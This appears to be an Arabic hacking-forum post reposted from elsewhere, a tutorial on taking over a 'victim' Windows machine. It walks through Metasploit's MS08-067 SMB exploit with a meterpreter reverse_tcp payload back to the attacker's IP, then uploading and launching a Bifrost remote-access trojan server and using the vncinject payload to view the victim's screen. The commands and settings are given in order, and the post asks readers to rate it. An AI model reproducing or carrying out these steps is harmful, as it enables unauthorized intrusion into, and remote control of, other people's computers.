السلام عليكم



طريقة اختراق جهاو الضحية بالميتا و رفع سيرفر بيفروست

منقول للفائدة
وكما سأتحدث عن سيطرة الجهاز بإستخدام playoad windows/vncinject

تم تطبيق الشرح على جهاز افتراضي

الشرح




إضغط علي window وبعد ذلك علي console ستفتح لنا النافذة التالية نكتب show exploits





ونختار windows/smb/ms08_067_netapi

show payloads




ونختار windows/meterpreter/reverse_tcp

أو نختارها مباشرة كما ف الصورة


والآن نقوم بتحديد IP الضحية وهو في هذه الحالة جهازي الإفتراضي RHOST = 192.168.56.101
ولا تنسي أن تضع قم جهازك LHOST =192.168.56.1 لتطبيق الثغرة نكتب exploit وبعد ذلك enter





كما ترون في الصورة لقد نجحنا في تطبيق الثغرة والدخول لي الجهاز عن طريق port 445

**************************************************

لنري خيارات نكتب help والآن سنقوم برفع السيرفر بالأمر upload -r server.exe c:\
كما في الصورة التالية ولكن قبل تحميل السيرفر يجب نسخه في مجلد

C:\Program Files\****sploit\Framework3






بعد رفع السيرفر نشغل برنامج الدوس للضحية بالأوامرالتالية:

execute -f cmd.exe -c
interact 3
كما في الصورة حسب رقم channel أو session المفتوح
use -m process





لتشغيل السيرفر start server.exe

*******************************************

وكما توضح الصورة نجاح تحميل السيرفر





والصور تعبر عن نفسها




شاشة الضحية






لتطبيق payload windows/vncinject نقوم بنفس الخطوات السابقة ولكن بإستبدال

set windows/vncinject/reverse_tcp
windows/meterpreter/smb/ms08_067_netapi
بتطبيق الثغرة ستفتح لنا الشاشة التالية




[b][b][b][b][b][b][b][size=12][b][size=12][b][b][size=12][size=16][size=21]أرجو التقيم اذا امكن
ومن لا يعرف كيفية التقييم ينظر للصورة

[/size][/size][/b][/size][/b][/size][/b][/b][/size][/b][/b][/b][/b][/b][/b]

الإهداء إلى كل عضو+إلى كل زائر+إليك أنت